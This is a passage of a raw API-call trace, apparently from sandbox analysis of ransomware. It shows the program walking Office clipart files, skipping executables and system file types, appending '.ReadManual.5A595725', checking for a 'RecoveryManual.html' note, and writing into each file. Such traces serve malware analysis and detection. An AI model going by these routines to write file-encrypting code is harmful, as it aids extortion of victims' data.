(in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39123518135) returned 1 [0270.566] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf")) returned 0x20 [0270.567] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.567] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2980) returned 1 [0270.567] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xba4, lpName=0x0) returned 0x184 [0270.567] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.568] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.568] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.569] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.570] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xba4) returned 0x2f0000 [0270.570] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.570] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39123845198) returned 1 [0270.570] CloseHandle (hObject=0x184) returned 1 [0270.570] SetSecurityInfo () returned 0x57 [0270.570] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.570] CloseHandle (hObject=0x194) returned 1 [0270.570] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bce0800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7bce0800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00808_.WMF", cAlternateFileName="")) returned 1 [0270.570] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00808_.WMF" | out: lpString1="NA00808_.WMF") returned="NA00808_.WMF" [0270.570] lstrcmpiW (lpString1="NA00808_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.570] StrStrIW (lpFirst="NA00808_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.570] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.570] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.570] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.570] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.570] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.570] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.570] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.570] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.570] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.570] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.570] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.570] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.570] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.571] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.571] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" [0270.571] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF.ReadManual.5A595725" [0270.571] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF.ReadManual.5A595725") returned 87 [0270.571] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39123942622) returned 1 [0270.571] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf")) returned 0x20 [0270.571] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.572] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1300) returned 1 [0270.572] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x514, lpName=0x0) returned 0x184 [0270.572] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.578] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.580] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.581] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.581] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x514) returned 0x2f0000 [0270.582] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.582] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39125040151) returned 1 [0270.582] CloseHandle (hObject=0x184) returned 1 [0270.582] SetSecurityInfo () returned 0x57 [0270.582] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.582] CloseHandle (hObject=0x194) returned 1 [0270.582] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d6900, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe92d6900, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00809_.WMF", cAlternateFileName="")) returned 1 [0270.582] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00809_.WMF" | out: lpString1="NA00809_.WMF") returned="NA00809_.WMF" [0270.582] lstrcmpiW (lpString1="NA00809_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.582] StrStrIW (lpFirst="NA00809_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.582] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.582] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.582] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.582] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.582] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.582] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.582] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.582] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.582] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.582] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.582] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.582] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.582] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.582] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.583] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" [0270.583] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF.ReadManual.5A595725" [0270.583] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF.ReadManual.5A595725") returned 87 [0270.583] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39125138121) returned 1 [0270.583] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf")) returned 0x20 [0270.583] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.583] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1544) returned 1 [0270.583] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x608, lpName=0x0) returned 0x184 [0270.583] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.584] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.584] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.586] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.586] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x608) returned 0x2f0000 [0270.586] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.586] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39125472895) returned 1 [0270.586] CloseHandle (hObject=0x184) returned 1 [0270.586] SetSecurityInfo () returned 0x57 [0270.586] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.586] CloseHandle (hObject=0x194) returned 1 [0270.586] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00810_.WMF", cAlternateFileName="")) returned 1 [0270.586] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00810_.WMF" | out: lpString1="NA00810_.WMF") returned="NA00810_.WMF" [0270.586] lstrcmpiW (lpString1="NA00810_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.586] StrStrIW (lpFirst="NA00810_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.586] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.586] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.586] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.587] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.587] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.587] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.587] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.587] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.587] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.587] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.587] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.587] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.587] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.587] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.587] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" [0270.587] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF.ReadManual.5A595725" [0270.587] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF.ReadManual.5A595725") returned 87 [0270.587] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39125570411) returned 1 [0270.587] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf")) returned 0x20 [0270.587] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.588] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3416) returned 1 [0270.588] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd58, lpName=0x0) returned 0x184 [0270.588] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.588] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.589] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.590] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.590] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd58) returned 0x2f0000 [0270.590] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.591] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39125929932) returned 1 [0270.591] CloseHandle (hObject=0x184) returned 1 [0270.591] SetSecurityInfo () returned 0x57 [0270.591] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.591] CloseHandle (hObject=0x194) returned 1 [0270.591] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3210, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00932_.WMF", cAlternateFileName="")) returned 1 [0270.591] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00932_.WMF" | out: lpString1="NA00932_.WMF") returned="NA00932_.WMF" [0270.591] lstrcmpiW (lpString1="NA00932_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.591] StrStrIW (lpFirst="NA00932_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.591] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.591] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.591] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.591] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.591] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.591] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.591] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.591] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.591] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.591] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.591] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.591] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.591] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.591] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.591] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" [0270.591] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF.ReadManual.5A595725" [0270.591] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF.ReadManual.5A595725") returned 87 [0270.591] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39126027587) returned 1 [0270.592] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf")) returned 0x20 [0270.593] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.593] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12816) returned 1 [0270.593] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3210, lpName=0x0) returned 0x184 [0270.593] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.594] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.594] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.598] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.598] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3210) returned 0x2f0000 [0270.598] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.598] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39126718999) returned 1 [0270.598] CloseHandle (hObject=0x184) returned 1 [0270.599] SetSecurityInfo () returned 0x57 [0270.599] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.599] CloseHandle (hObject=0x194) returned 1 [0270.599] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8abf600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8abf600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x7c46, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01064_.WMF", cAlternateFileName="")) returned 1 [0270.599] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01064_.WMF" | out: lpString1="NA01064_.WMF") returned="NA01064_.WMF" [0270.599] lstrcmpiW (lpString1="NA01064_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.599] StrStrIW (lpFirst="NA01064_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.599] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.599] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.599] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.599] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.599] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.599] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.599] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.599] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.599] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.599] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.599] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.599] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.599] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.599] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.599] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" [0270.599] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF.ReadManual.5A595725" [0270.599] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF.ReadManual.5A595725") returned 87 [0270.599] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39126822460) returned 1 [0270.600] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf")) returned 0x20 [0270.600] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.600] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31814) returned 1 [0270.600] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c46, lpName=0x0) returned 0x184 [0270.600] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.601] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.601] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.603] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, 